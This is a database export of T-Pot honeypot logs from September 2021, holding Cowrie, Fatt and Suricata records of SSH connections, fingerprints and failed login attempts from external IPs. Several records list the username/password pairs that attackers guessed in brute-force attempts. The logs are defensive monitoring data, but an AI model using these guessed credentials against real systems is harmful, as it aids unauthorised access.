"t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22810	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:31.962314+03	2021-09-20 14:15:06.6895+03	{"_id": "_gbjAnwBvYTbRNuEvgvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f368b5b5ef57", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:31.962314Z", "@timestamp": "2021-09-20T11:07:31.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22811	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:31.082628+03	2021-09-20 14:15:06.6905+03	{"_id": "CwbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53256, "timestamp": "2021-09-20T11:07:31.082628", "@timestamp": "2021-09-20T11:07:31.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22812	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:32.232908+03	2021-09-20 14:15:06.692471+03	{"_id": "AAbjAnwBvYTbRNuEvgzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [hyperic/hyperic] failed", "session": "2357ad2a708d", "@version": "1", "password": "hyperic", "username": "hyperic", "timestamp": "2021-09-20T11:07:32.232908Z", "@timestamp": "2021-09-20T11:07:32.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22813	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:07:31.316183+03	2021-09-20 14:15:06.693501+03	{"_id": "BAbjAnwBvYTbRNuEvgzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [it/12345] failed", "session": "f9b0afbe959a", "@version": "1", "password": "12345", "username": "it", "timestamp": "2021-09-20T11:07:31.316183Z", "@timestamp": "2021-09-20T11:07:31.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22814	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:31.964573+03	2021-09-20 14:15:06.69447+03	{"_id": "DQbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58776, "timestamp": "2021-09-20T11:07:31.964573", "@timestamp": "2021-09-20T11:07:31.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22815	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:31.355792+03	2021-09-20 14:15:06.695501+03	{"_id": "DgbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "de74adf82d07", "@version": "1", "duration": 5.4724366664886475, "timestamp": "2021-09-20T11:07:31.355792Z", "@timestamp": "2021-09-20T11:07:31.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22816	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:31.369792+03	2021-09-20 14:15:06.697469+03	{"_id": "DwbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/qd8899xyz] failed", "session": "0aef40958475", "@version": "1", "password": "qd8899xyz", "username": "admin", "timestamp": "2021-09-20T11:07:31.369792Z", "@timestamp": "2021-09-20T11:07:31.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22817	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:31.384537+03	2021-09-20 14:15:06.698469+03	{"_id": "EAbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "00d3395919dd", "@version": "1", "duration": 2.4265992641448975, "timestamp": "2021-09-20T11:07:31.384537Z", "@timestamp": "2021-09-20T11:07:31.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22818	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:31.766238+03	2021-09-20 14:15:06.699502+03	{"_id": "EQbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2ce15ba32ccc", "@version": "1", "timestamp": "2021-09-20T11:07:31.766238Z", "@timestamp": "2021-09-20T11:07:31.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22831	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:27.295465+03	2021-09-20 14:15:06.71647+03	{"_id": "PgbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b2026e4be213", "@version": "1", "duration": 2.4254846572875977, "timestamp": "2021-09-20T11:07:27.295465Z", "@timestamp": "2021-09-20T11:07:27.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22819	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:31.818994+03	2021-09-20 14:15:06.7005+03	{"_id": "EgbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [recovery/recovery] failed", "session": "5207dab7797c", "@version": "1", "password": "recovery", "username": "recovery", "timestamp": "2021-09-20T11:07:31.818994Z", "@timestamp": "2021-09-20T11:07:31.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22820	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:32.946426+03	2021-09-20 14:15:06.7015+03	{"_id": "FAbjAnwBvYTbRNuEwQw_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1096088194184571, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38328, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.946426Z", "@timestamp": "2021-09-20T11:07:32.946Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22821	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:32.656898+03	2021-09-20 14:15:06.702501+03	{"_id": "HQbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45328, "timestamp": "2021-09-20T11:07:32.656898", "@timestamp": "2021-09-20T11:07:32.656Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22822	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:32.647211+03	2021-09-20 14:15:06.704499+03	{"_id": "HgbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [amssftp/amssftp] failed", "session": "2ce15ba32ccc", "@version": "1", "password": "amssftp", "username": "amssftp", "timestamp": "2021-09-20T11:07:32.647211Z", "@timestamp": "2021-09-20T11:07:32.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22823	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:32.692599+03	2021-09-20 14:15:06.705503+03	{"_id": "HwbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "321b4cbfd755", "@version": "1", "duration": 2.4539477825164795, "timestamp": "2021-09-20T11:07:32.692599Z", "@timestamp": "2021-09-20T11:07:32.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22824	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:07:32.700083+03	2021-09-20 14:15:06.7065+03	{"_id": "IAbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f9b0afbe959a", "@version": "1", "duration": 3.417792320251465, "timestamp": "2021-09-20T11:07:32.700083Z", "@timestamp": "2021-09-20T11:07:32.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22825	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:32.946584+03	2021-09-20 14:15:06.707511+03	{"_id": "JAbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38328, "timestamp": "2021-09-20T11:07:32.946584", "@timestamp": "2021-09-20T11:07:32.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22826	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:32.618978+03	2021-09-20 14:15:06.709472+03	{"_id": "JQbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "0aef40958475", "@version": "1", "duration": 3.0075249671936035, "timestamp": "2021-09-20T11:07:32.618978Z", "@timestamp": "2021-09-20T11:07:32.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
